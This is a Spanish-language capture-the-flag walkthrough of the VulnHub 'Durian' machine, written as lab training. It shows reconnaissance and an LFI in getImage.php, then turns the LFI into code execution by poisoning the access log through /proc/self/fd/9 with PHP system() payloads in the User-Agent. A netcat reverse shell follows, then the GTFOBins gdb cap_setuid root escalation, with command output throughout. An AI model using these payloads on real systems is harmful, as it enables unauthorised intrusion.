¡Hola! Vamos a resolver de la máquina Durian
de dificultad “Fácil” de la plataforma VulnHub.
Técnicas Vistas:
- Web Enumeration
- Local File Inclusion (LFI)
- LFI to RCE - Abusing /proc/self/fd/X + Log Poisoning
- Abusing capabilities (cap_setuid+ep on gdb binary) [Privilege Escalation]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Durian
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:05:79, IPv4: 192.168.1.148
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 e4:ca:12:8c:78:a5 zte corporation
192.168.1.129 2c:f0:5d:0a:0a:f1 (Unknown)
192.168.1.132 f4:34:f0:50:7e:76 (Unknown)
192.168.1.136 ac:67:84:98:f6:07 (Unknown)
192.168.1.138 00:0c:29:18:45:60 VMware, Inc.
192.168.1.139 9c:20:7b:b1:3e:47 Apple, Inc.
192.168.1.143 b8:bc:5b:e8:00:67 Samsung Electronics Co.,Ltd
192.168.1.142 d8:a3:5c:73:eb:02 (Unknown)
192.168.1.130 c8:ff:77:4b:be:03 Dyson Limited
192.168.1.128 00:55:da:56:56:66 IEEE Registration Authority
Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.138
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.138
PING 192.168.1.138 (192.168.1.138) 56(84) bytes of data.
64 bytes from 192.168.1.138: icmp_seq=1 ttl=64 time=42.3 ms
--- 192.168.1.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
8
nmap -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.138 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
7080/tcp open empowerid syn-ack ttl 64
8088/tcp open radan-http syn-ack ttl 64
MAC Address: 00:0C:29:18:45:60 (VMware)
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nmap -sCV -p22,7080,8000,8088 192.168.1.138 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 28:1c:64:fa:9c:c3:d2:d4:bb:76:3d:3b:10:e2:b1:25 (RSA)
| 256 da:b2:e1:7f:7c:1b:58:cf:fd:4f:74:e9:23:6d:51:d7 (ECDSA)
|_ 256 41:e1:0c:2b:d4:26:e8:d3:71:bb:9d:f9:61:56:63:c0 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Durian
|_http-server-header: Apache/2.4.38 (Debian)
7080/tcp open ssl/empowerid LiteSpeed
| http-title: LiteSpeed WebAdmin Console
|_Requested resource was /login.php
| ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US
| Not valid before: 2020-09-08T02:05:32
|_Not valid after: 2022-12-07T02:05:32
|_http-server-header: LiteSpeed
| tls-alpn:
| h2
| spdy/3
| spdy/2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
8088/tcp open radan-http LiteSpeed
|_http-title: Durian
|_http-server-header: LiteSpeed
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
3
4
5
6
7
8
❯ whatweb http://192.168.1.138
http://192.168.1.138 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.138], Title[Durian]
❯ whatweb http://192.168.1.138:7080
http://192.168.1.138:7080 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[LiteSpeed], IP[192.168.1.138], LiteSpeed, RedirectLocation[https://192.168.1.138:7080/]
https://192.168.1.138:7080/ [302 Found] Cookies[LSID37FE0C43B84483E0,LSPA37FE0C43B84483E0,LSUI37FE0C43B84483E0], Country[RESERVED][ZZ], HTTPServer[LiteSpeed], HttpOnly[LSUI37FE0C43B84483E0], IP[192.168.1.138], LiteSpeed, PHP[5.6.36], RedirectLocation[/login.php], UncommonHeaders[referrer-policy,x-content-type-options,alt-svc], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.6.36], X-XSS-Protection[1;mode=block]
https://192.168.1.138:7080/login.php [200 OK] Bootstrap, Cookies[LSUI37FE0C43B84483E0,litespeed_admin_lang], Country[RESERVED][ZZ], HTML5, HTTPServer[LiteSpeed], HttpOnly[LSUI37FE0C43B84483E0,litespeed_admin_lang], IP[192.168.1.138], JQuery[2.2.4], LiteSpeed, Meta-Author[LiteSpeed Technologies, Inc.], Object[image/svg+xml], PHP[5.6.36], PasswordField[pass], Script[text/javascript], Title[LiteSpeed WebAdmin Console], UncommonHeaders[referrer-policy,x-content-type-options,alt-svc], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.6.36], X-UA-Compatible[IE=edge], X-XSS-Protection[1;mode=block]
❯ whatweb http://192.168.1.138:8088
http://192.168.1.138:8088 [200 OK] Country[RESERVED][ZZ], HTTPServer[LiteSpeed], IP[192.168.1.138], LiteSpeed, Title[Durian]
Abrimos el navegador y accedemos a la dirección de la máquina en los puertos 7080, 8000 y 8088. En el puerto 7080 observamos un panel de login de LiteSpeed Technologies Inc. y en los puertos 8000 y 8088 observamos una imagen estática.
Fuzzing
Iniciamos el reconocimiento de potenciales rutas de acceso web para el puerto 8000.
En esta ocasión usaremos la herramienta gobuster con un total de 20 hilos (-t 20)
y utilizando el diccionario directory-list-2.3-medium.txt
de nuestro repositorio de confianza SecLists de Daniel Miessler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -u "http://192.168.1.138" -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.138
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2022/10/31 11:27:34 Starting gobuster in directory enumeration mode
===============================================================
/blog/ (Status: 403) [Size: 169]
/cgi-data/ (Status: 403) [Size: 169]
===============================================================
2022/10/31 11:28:03 Finished
===============================================================
Observamos en los resultados el directorio /cgi-data/
. Tenemos capacidad de directory listing y observamos un archivo getImage.php
Al examinar el código fuente encontramos una pista…
Tenemos capacidad de LFI y podemos listar recursos de la máquina víctima
Enumeración por LFI (Local File Inclusion)
En este punto vamos a enumerar contenido de la ruta /proc/net/fd
. Para ello Utilizaremos BurpSuite
Recordemos que el directorio /proc/self
es un enlace al proceso en ejecución. Esto le permite verse a si mismo sin tener que conocer su ID de proceso. Dentro de un entorno de la shell, una lista del directorio /proc/self produce el mismo contenido que una lista del directorio del proceso para ese proceso.
Capturamos petición y con intruder de BurpSuite realizamos un ataque de tipo Sniper
con un payload númerico del 1 al 30
En base a la respuesta del campo length
observamos que en la ruta /proc/self/fd/9
nos devuelve una respuesta diefrente al resto. Enviamos esta petición al repeater y vemos en la respuesta que tenemos acceso al acces log
Si observamos detalladamente la respuesta vemos como con cada registro se tramita junto con el User-Agent
, por lo que si podemos insertar código PHP dentro del mismo este debería ser interpretado. Esta técnica se le conoce como Log Poisoning
“Envenenamiento de registro” (Log Poisoning), esta consiste en leer un fichero de registro (log) por medio de una “inclusión de fichero” (LFI) y modificar el texto de las cabeceras
Tratamos de acceder a una ruta inexistente y la capturamos con BurpSuite donde modificaremos el User-Agent
para insertar el siguiente código en PHP <?php system('whoami'); ?>
A pesar de que nos devuelve un 404 vemos en el log que nuestro User-Agent se ha interpretado y tenemos el output del comando whoami
por lo que tenemos capacidad de ejecución remota de comandos (RCE)
El siguiente paso sería insertar el siguiente código PHP dentro del User-agent <?php system($_GET['cmd']); ?>
con el que cuando pongamos ?cmd=COMANDO
nos ejecutará el comando indicado
Con la herramienta netcat nos ponemos en escucha en nuestro equipo por el puerto 443 y ejectuamos el típico oneliner de bash para obtener una reverse shell
1
2
3
4
5
6
7
8
9
10
11
sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.138] 48046
bash: cannot set terminal process group (513): Inappropriate ioctl for device
bash: no job control in this shell
www-data@durian:/var/www/html/cgi-data$ whoami
whoami
www-data
www-data@durian:/var/www/html/cgi-data$
Hemos conseguido acceso a la máquina víctima!!
Escalada de Privilegios
Iniciamos el reconocimiento con el comando id
para listar grupos en los que se encuentre el usuario y con sudo -l
listamos los binarios que podemos ejecutar con privilegio de root
pero no encontramos nada interesante. Procedemos a listar capabilities
1
2
3
www-data@durian:/var/www/html/cgi-data$ getcap -r / 2>/dev/null
/usr/bin/gdb = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
Nos llama la atención el binario gdb
con capabilitie cap_setuid+ep
. Tras consultar GTFOBins vemos que este binario con esta capabilitie son vulnerables
Ejecutamos el comando que encontramos en GTFOBins y obtenemos shell con privilegios de root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@durian:/tmp$ gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
root@durian:/tmp# whoami
root
Ya sólo no queda acceder al directorio /root
donde se encuentra la flag que demuestra que hemos comprometido la máquina víctima
1
2
3
4
root@durian:/root# ls
proof.txt
root@durian:/root# cat proof.txt
SunCSR_Team.af6d45da1f1181347***************
Hemos completado la máquina Durian de VulnHub!! Happy Hacking!!